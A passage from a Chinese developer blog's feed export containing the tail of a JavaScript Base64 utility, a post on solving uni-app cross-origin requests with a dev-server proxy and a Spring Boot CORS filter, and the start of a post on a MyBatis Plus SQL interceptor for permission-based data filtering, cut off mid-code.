&lt; string.<span class="property">length</span>; n++) &#123;</span><br><span class="line">      <span class="keyword">var</span> c = string.<span class="title function_">charCodeAt</span>(n);</span><br><span class="line">      <span class="keyword">if</span> (c &lt; <span class="number">128</span>) &#123;</span><br><span class="line">        utftext += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(c);</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> ((c &gt; <span class="number">127</span>) &amp;&amp; (c &lt; <span class="number">2048</span>)) &#123;</span><br><span class="line">        utftext += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>((c &gt;&gt; <span class="number">6</span>) | <span class="number">192</span>);</span><br><span class="line">        utftext += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>((c &amp; <span class="number">63</span>) | <span class="number">128</span>);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        utftext += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>((c &gt;&gt; <span class="number">12</span>) | <span class="number">224</span>);</span><br><span class="line">        utftext += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(((c &gt;&gt; <span class="number">6</span>) &amp; <span class="number">63</span>) | <span class="number">128</span>);</span><br><span class="line">        utftext += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>((c &amp; <span class="number">63</span>) | <span class="number">128</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> utftext;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// private method for UTF-8 decoding</span></span><br><span class="line">  <span class="keyword">let</span> <span class="title function_">_utf8_decode</span> = (<span class="params">utftext</span>) =&gt; &#123;</span><br><span class="line">    <span class="keyword">var</span> string = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> i = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">var</span> c = c1 = c2 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">var</span> c1 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">var</span> c2 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">var</span> c3 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (i &lt; utftext.<span class="property">length</span>) &#123;</span><br><span class="line">      c = utftext.<span class="title function_">charCodeAt</span>(i);</span><br><span class="line">      <span class="keyword">if</span> (c &lt; <span class="number">128</span>) &#123;</span><br><span class="line">        string += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(c);</span><br><span class="line">        i++;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> ((c &gt; <span class="number">191</span>) &amp;&amp; (c &lt; <span class="number">224</span>)) &#123;</span><br><span class="line">        c2 = utftext.<span class="title function_">charCodeAt</span>(i + <span class="number">1</span>);</span><br><span class="line">        string += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(((c &amp; <span class="number">31</span>) &lt;&lt; <span class="number">6</span>) | (c2 &amp; <span class="number">63</span>));</span><br><span class="line">        i += <span class="number">2</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        c2 = utftext.<span class="title function_">charCodeAt</span>(i + <span class="number">1</span>);</span><br><span class="line">        c3 = utftext.<span class="title function_">charCodeAt</span>(i + <span class="number">2</span>);</span><br><span class="line">        string += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(((c &amp; <span class="number">15</span>) &lt;&lt; <span class="number">12</span>) | ((c2 &amp; <span class="number">63</span>) &lt;&lt; <span class="number">6</span>) | (c3 &amp; <span class="number">63</span>));</span><br><span class="line">        i += <span class="number">3</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> string;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="comment">//new Base64().encode(url)</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">常用的js工具类示例。轮训获取树形结构的每一条线，获取一个树形结构的某一个树形的一维数组，根据某一个节点获取所有的祖级节点，数组去重，时间格式化，对象深拷贝，构造树形结构，计算坐标中心点</summary>
    
    
    
    <category term="前端" scheme="https://blog.allbs.cn/categories/%E5%89%8D%E7%AB%AF/"/>
    
    
    <category term="js" scheme="https://blog.allbs.cn/tags/js/"/>
    
    <category term="tools" scheme="https://blog.allbs.cn/tags/tools/"/>
    
    <category term="javascript" scheme="https://blog.allbs.cn/tags/javascript/"/>
    
  </entry>
  
  <entry>
    <title>uni-app跨域问题处理</title>
    <link href="https://blog.allbs.cn/posts/60194/"/>
    <id>https://blog.allbs.cn/posts/60194/</id>
    <published>2022-10-21T08:54:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h1>uni-app中的解决办法</h1><h2 id="修改manifest-json文件">修改manifest.json文件</h2><p>h5标签下添加转发配置</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">&quot;devServer&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;https&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;host&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0.0.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;hotOnly&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;port&quot;</span><span class="punctuation">:</span> <span class="number">8000</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;disableHostCheck&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;proxy&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;/api&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="comment">// 后台服务器url</span></span><br><span class="line">            <span class="attr">&quot;target&quot;</span><span class="punctuation">:</span> <span class="string">&quot;http://localhost:7777&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;changeOrigin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;secure&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;ws&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;pathRewrite&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="comment">// 重写路径 去除自定义的api字符串，和上方api是同一个</span></span><br><span class="line">                <span class="attr">&quot;^/api&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/d40b9376235303f1bf8d1d11922ee2ed.png" alt=""></p><h2 id="修改baseUrl">修改baseUrl</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/28aa133d49a8db0b03f4a3c6ca961af4.png" alt="image-20221021170115122"></p><h2 id="去除ajax请求中的baseUrl">去除ajax请求中的baseUrl</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/0d3b7686dcbd46c3993d8b09049db9d3.png" alt="image-20221021170232600"></p><h2 id="请求成功">请求成功</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/bad709fa43619a0c5e4603d3bccd1029.png" alt="image-20221021170428785"></p><h1>spring boot中的解决方式</h1><h2 id="添加过滤器将自定义的header添加至Access-Control-Allow-Headers中">添加过滤器将自定义的header添加至Access-Control-Allow-Headers中</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.Ordered;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.annotation.Order;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.servlet.*;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletResponse;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@Order(Ordered.HIGHEST_PRECEDENCE)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CorsFilterConfig</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig fc)</span> <span class="keyword">throws</span> ServletException &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest req, ServletResponse resp,</span></span><br><span class="line"><span class="params">                         FilterChain chain)</span> <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        <span class="type">HttpServletResponse</span> <span class="variable">response</span> <span class="operator">=</span> (HttpServletResponse) resp;</span><br><span class="line">        <span class="type">HttpServletRequest</span> <span class="variable">request</span> <span class="operator">=</span> (HttpServletRequest) req;</span><br><span class="line">        response.setHeader(<span class="string">&quot;Access-Control-Allow-Origin&quot;</span>, <span class="string">&quot;*&quot;</span>);</span><br><span class="line">        response.setHeader(<span class="string">&quot;Access-Control-Allow-Methods&quot;</span>, <span class="string">&quot;POST, GET, OPTIONS, DELETE, PUT&quot;</span>);</span><br><span class="line">        response.setHeader(<span class="string">&quot;Access-Control-Max-Age&quot;</span>, <span class="string">&quot;3600&quot;</span>);</span><br><span class="line">        <span class="comment">// 添加自定义的header至下方</span></span><br><span class="line">        response.setHeader(<span class="string">&quot;Access-Control-Allow-Headers&quot;</span>, <span class="string">&quot;x-requested-with, authorization, Content-Type, Authorization, credential, X-XSRF-TOKEN, isToken, entIdList&quot;</span>);</span><br><span class="line">        response.setHeader(<span class="string">&quot;Access-Control-Allow-Credentials&quot;</span>, <span class="string">&quot;true&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (<span class="string">&quot;OPTIONS&quot;</span>.equalsIgnoreCase(request.getMethod())) &#123;</span><br><span class="line">            <span class="comment">// 预检请求返回200</span></span><br><span class="line">            response.setStatus(HttpServletResponse.SC_OK);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            chain.doFilter(request, response);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">uni-app发送的请求中包含自定义header导致的跨域问题解决，包含uni-app处理方式和spring boot服务解决方式。</summary>
    
    
    
    <category term="app" scheme="https://blog.allbs.cn/categories/app/"/>
    
    
    <category term="uni-app" scheme="https://blog.allbs.cn/tags/uni-app/"/>
    
    <category term="app" scheme="https://blog.allbs.cn/tags/app/"/>
    
    <category term="跨域" scheme="https://blog.allbs.cn/tags/%E8%B7%A8%E5%9F%9F/"/>
    
  </entry>
  
  <entry>
    <title>spring boot+mybatis plus进行sql拦截实现权限过滤</title>
    <link href="https://blog.allbs.cn/posts/45308/"/>
    <id>https://blog.allbs.cn/posts/45308/</id>
    <published>2022-10-21T03:33:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<div class="note green icon-padding flat"><i class="note-icon fas fa-rocket"></i><p>📃 关联文档</p><p><a href="/posts/58292/" title="spring boot+mybatis plus进行sql拦截实现权限过滤，优化升级">✨ 后续升级</a></p></div><h2 id="权限数据过滤">权限数据过滤</h2><h3 id="定义一个注解用于开启权限过滤功能">定义一个注解用于开启权限过滤功能</h3><p>这次没参与后台业务部分开发并不清楚哪些业务需要该功能，所以没有默认进行开启，将主动权交于业务开发人员手中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.annotation.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="keyword">static</span> java.lang.annotation.ElementType.*;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 企业id数据过滤</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Target(&#123;METHOD, ANNOTATION_TYPE, TYPE&#125;)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Documented</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> DataScope &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 当进行过滤时主表中代表企业id的字段</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    String <span class="title function_">unitField</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;ent_id&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否进行数据过滤</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">boolean</span> <span class="title function_">filterData</span><span class="params">()</span> <span class="keyword">default</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="定义一个对象储存每次请求时相关接口过滤的需使用的数据">定义一个对象储存每次请求时相关接口过滤的需使用的数据</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> lombok.AllArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 DataScopeParam</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/20 17:37</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeParam</span> &#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 企业筛选字段名称</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String unitField;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 企业数据范围</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Set&lt;Long&gt; entIdList;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否进行拦截</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> filterField;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="使用阿里开源的TransmittableThreadLocal">使用阿里开源的TransmittableThreadLocal</h3><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alibaba<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>transmittable-thread-local<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="创建拦截器修改sql使其能够将权限过滤的字段代入">创建拦截器修改sql使其能够将权限过滤的字段代入</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.hutool.core.collection.CollUtil;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.ttl.TransmittableThreadLocal;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.toolkit.PluginUtils;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.toolkit.StringPool;</span><br><span class="line"><span class="keyword">import</span> com.lyc.admin.oauth.service.SysUser;</span><br><span class="line"><span class="keyword">import</span> com.lyc.admin.oauth.utils.SecurityUtils;</span><br><span class="line"><span class="keyword">import</span> com.lyc.common.base.annotation.DataScope;</span><br><span class="line"><span class="keyword">import</span> com.lyc.common.base.constant.CommonConstants;</span><br><span class="line"><span class="keyword">import</span> com.lyc.common.base.utils.CurrentEntIdSearchContextHolder;</span><br><span class="line"><span class="keyword">import</span> com.lyc.common.base.vo.EntierVO;</span><br><span class="line"><span class="keyword">import</span> lombok.SneakyThrows;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.JSQLParserException;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Alias;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.LongValue;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.conditional.AndExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.EqualsTo;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.parser.CCJSqlParserManager;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.parser.CCJSqlParserUtil;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Column;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Table;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.PlainSelect;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.Select;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.SelectBody;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.SetOperationList;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.executor.statement.StatementHandler;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.BoundSql;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.MappedStatement;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.SqlCommandType;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.plugin.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.MetaObject;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.SystemMetaObject;</span><br><span class="line"><span class="keyword">import</span> org.aspectj.lang.JoinPoint;</span><br><span class="line"><span class="keyword">import</span> org.aspectj.lang.annotation.After;</span><br><span class="line"><span class="keyword">import</span> org.aspectj.lang.annotation.Aspect;</span><br><span class="line"><span class="keyword">import</span> org.aspectj.lang.annotation.Before;</span><br><span class="line"><span class="keyword">import</span> org.aspectj.lang.annotation.Pointcut;</span><br><span class="line"><span class="keyword">import</span> org.aspectj.lang.reflect.MethodSignature;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.StringReader;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.sql.Connection;</span><br><span class="line"><span class="keyword">import</span> java.util.Collection;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Properties;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"><span class="keyword">import</span> java.util.stream.Collectors;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 DataPermissionInterceptor</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/20 14:50</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Intercepts(&#123;@Signature(type = StatementHandler.class, method = &quot;prepare&quot;, args = &#123;Connection.class, 